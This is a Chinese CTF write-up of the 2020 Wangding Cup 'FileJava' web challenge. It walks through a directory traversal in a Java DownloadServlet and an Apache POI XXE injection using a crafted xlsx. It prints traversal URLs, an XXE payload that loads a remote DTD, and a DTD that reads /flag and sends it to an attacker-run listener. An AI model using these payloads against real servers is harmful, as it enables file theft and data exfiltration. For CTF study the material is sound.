[CTF]网鼎杯2020-青龙组-Web-FileJava-WriteUp

一、赛题截图

在这里插入图片描述

二、做题思路

(1)查看源码,唯一有点用信息:./UploadServlet.
在这里插入图片描述
(2)虽然题目名称和查看源码./UploadServlet都告诉这是一个JAVA程序,但建议还是访问/robots.txt,碰碰运气。
在这里插入图片描述
(3)随便上传一个dog.png图片,用Burpsuite抓包,发现新的URL地址:/DownloadServlet?filename=a6c672c9-a74c-4701-abfc-97d68e3c681d_dog.png
在这里插入图片描述
(4)Burpsuite拦截下载文件请求URL,访问DownloadServlet?filename=…/确定存在文件包含漏洞,并且泄露tomcat的绝对路径。
在这里插入图片描述
(5)文件包含漏洞+知道tomcat绝对路径,第一个想到的是查看WEB-INF/web.xml,访问
DownloadServlet?filename=…/…/…/…/…/…/…/…/…/usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

在这里插入图片描述
(6)通过配置文件,确定.class文件路径:WEB-INF/classes/cn/abc/servlet/,然后下载三个class文件:

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

(7)使用jd-gui-1.6.6.jar进行反编译
在这里插入图片描述
(8)检查源码
DownloadServlet.java过滤flag关键字禁止下载
在这里插入图片描述
UploadServlet.java有对excel-***.xlsx文件的判断,猜测是Apache POI XML外部实体漏洞(参考
在这里插入图片描述
(9)构造上传文件
① 首先,本地创建excel-aaa.xlsx文件,右键解压文件
在这里插入图片描述
② 编辑文件[Content_Types].xml,在<?xml version="1.0" encoding="UTF-8" standalone="yes"?>与<Types xmlns=“http://schemas.openxmlformats.org/package/2006/content-types”>之间添加内容:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>

③ 添加压缩文件为excel-aaa.xlsx
在这里插入图片描述
(10)构造远程监控
① 进入远程服务器WEB根目录,创建文件file.dtd,添加内容:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://0.0.0.0:7777?popko=%file;'>">

② 启动监控 : nc -lvvp 7777
(11)一切准备就绪,上传excel-aaa.xlsx文件
在这里插入图片描述
查看nc监听结果,得到flag
在这里插入图片描述

三、总结

(1)文件包含读取文件
(2)POI XXE注入

参考:
https://www.cnblogs.com/W4nder/p/12866365.html
https://blog.csdn.net/pop364/article/details/106082723
http://shangdixinxi.com/detail-1419518.html
https://p1htmlkernalweb.mybluemix.net/articles/2020%E7%BD%91%E9%BC%8E%E6%9D%AFJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0wp_4620427_csdn.html

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值